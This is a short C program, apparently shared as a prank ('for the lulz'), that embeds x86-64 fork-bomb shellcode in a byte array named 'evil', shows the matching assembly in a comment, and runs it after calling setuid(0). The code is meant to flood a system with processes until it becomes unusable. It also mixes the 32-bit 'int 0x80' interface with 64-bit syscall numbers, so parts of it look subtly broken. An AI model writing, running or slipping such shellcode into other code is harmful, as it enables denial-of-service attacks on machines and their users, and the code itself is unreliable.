for the lulz 64bit

// ----------------------------------------------------------------------------
// "THE BEER-WARE LICENSE" (Revision 43):
// <[email protected]> wrote this file. As long as you retain this notice you
// can do whatever you want with this stuff. If we meet some day, and you think
// this stuff is worth it, you can buy me a beer in return Aaron R. Yool
// ----------------------------------------------------------------------------
/*
global _start
section .text

_start:
; fork(void);
    xor rax, rax
    mov al,0x39
    int 0x80
    cmp rax,1
    jl fork
; exit(0);
    xor rax,rax
    mov al,0x3c
    xor rdi,rdi
    syscall
fork:
    mov al, 0x39
    int 0x80
    jmp short fork

*/
const char evil[] = "\x48\x31\xc0\xb0\x39\xcd\x80\x83\xf8\x01\x7c\x0a\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xb0\x39\xcd\x80\xeb\xfa";

typedef void (*shellcode)(void);
void main(void)
{
    setuid(0);
    ((shellcode)evil)();
}